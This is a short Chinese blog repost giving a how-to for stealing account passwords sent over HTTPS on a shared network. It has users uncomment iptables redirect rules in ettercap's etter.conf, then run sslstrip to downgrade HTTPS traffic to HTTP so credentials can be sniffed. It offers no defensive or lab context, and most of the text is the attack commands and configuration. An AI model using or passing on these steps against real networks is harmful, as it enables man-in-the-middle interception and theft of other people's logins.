获取HTTPS账号密码

最新推荐文章于 2023-06-28 20:39:56 发布

转载最新推荐文章于 2023-06-28 20:39:56 发布 · 5k 阅读

收录于

Security

当前文章被收录于：

Security

4 篇文章 0 人学习

订阅专栏查看详情

当前文章被以下社区和专栏收录：

本文介绍如何通过修改etter.conf配置文件并使用sslstrip工具，将HTTPS流量转换为HTTP，以便于捕获网络中传输的账号密码信息。具体步骤包括编辑配置文件，启用iptables规则，运行sslstrip命令。

HTTPS账号密码获取：
先编辑下/etc/ettercap/etter.conf
命令：vim /etc/ettercap/etter.conf
找到
# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

改为（去掉两个#）：
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
进入vim状态：
按下i，进入编辑
按下Esc，Shift+：,q!(不保存，退出)或 wq（保存，退出）

然后运行sslstrip -a -f -k 实现https转换成http以获取帐号密码
再用HTTP账号密码获取方法就可。